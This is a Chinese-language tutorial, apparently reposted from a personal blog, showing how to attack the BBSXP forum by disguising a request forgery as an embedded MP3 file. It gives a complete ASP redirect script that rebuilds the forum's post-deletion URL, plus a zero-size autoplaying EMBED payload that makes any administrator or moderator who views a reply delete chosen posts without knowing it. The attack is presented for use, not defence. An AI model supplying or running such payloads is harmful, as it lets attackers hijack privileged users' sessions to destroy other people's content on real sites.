摘自:神秘小强&1943
我们知道,成熟的论坛系统都在用户提交帖子数据的时候对敏感HTML代码进行了转换、过滤或删除,这样就不能嵌入脚本来实现跨站攻击。但恰恰是成熟的论坛都提供提交多媒体信息,也就是可以嵌入MP3音频文件或者FLASH文件,关于FLASH的跨站这里就不说了,今天主要带大家探讨下MP3的跨站攻击。就拿某个版本的BBSXP为例,让管理员或斑竹神不知鬼不觉的帮你删除任何你想删除的帖子(条件是他要看你的帖子):
首先要找到删除帖子的链接:
http://bbs.yuzi.net/DelPost.asp?ThreadID=763703&PostID=1326482ThreadID是帖子的主题编号,PostID是该主题中回复贴的编号,如果PostID省略则删除整个主题。
下面我们就写一个ASP文件:
<%@LANGUAGE="JavaScript"%>
<SCRIPT LANGUAGE="VBScript" RUNAT="Server">
Function mySplit()//分割参数函数
myArr=Split(music,"x")
id1=myArr(0)
id2=myArr(1)
id3=myArr(2)
End Function
</script>
<%
/*
mp3请求链接样式:
http://www.smxiaoqiang.cn/tools/music.asp?mp3=763703x1326482xhelloGirl.mp3红色部分为请求参数,包含主题编号和回帖编号,以字母x分隔,这样做的目的是因为论坛系统对&进行了过滤,不能同时传递多个参数,所以要把参数合并为一个参数,在后台重新分割。
*/
var music=Request.QueryString("mp3");//获取MP3请求链接传递过来的参数
var id1,id2,id3;
mySplit();//对传递过来的参数进行分割处理
var myLink="";
if(id3!="helloGirl.mp3"){
Response.write("");//helloGirl用于验证参数,防止非法调用,无其他意义
}
else{
myLink+="ThreadID="+id1;
if(id2!="0") myLink+="&PostID="+id2;//如果传来的PostID为0,便是要删除整个主题,则省略PostID
myLink="http:\/\/bbs.yuzi.net\/DelPost.asp?"+myLink;//构造删除帖子的链接
Response.redirect(myLink);//将mp3链接转向删除帖子的链接,执行删除帖子动作
//Response.End();
}
%>
好了,ASP函数写好了,保存为music.asp,接着就是把这个ASP文件上传到你自己的域名空间好引用。
然后就是去该论坛注册个帐户,找个管理员最容易去看的帖子回复一下,嵌入一个MP3文件,地址样式为
http://smxiaoqiang.cn/tools/music.asp?mp3=35077x0xhelloGirl.mp3,将长宽都设为0,设置为自动播放。(如果你要删除多个帖子可以嵌入多个MP3)
HTML或UBB代码如下:
<EMBED src=http://www.smxiaoqiang.cn/tools/music.asp?mp3=35077x0xhelloGirl.mp3 width=0 height=0 AUTOSTART="true" ShowStatusBar="true">
这样,只要有相关权限的人查看了你的这个回复,就会帮你删除你想删除的那个帖子。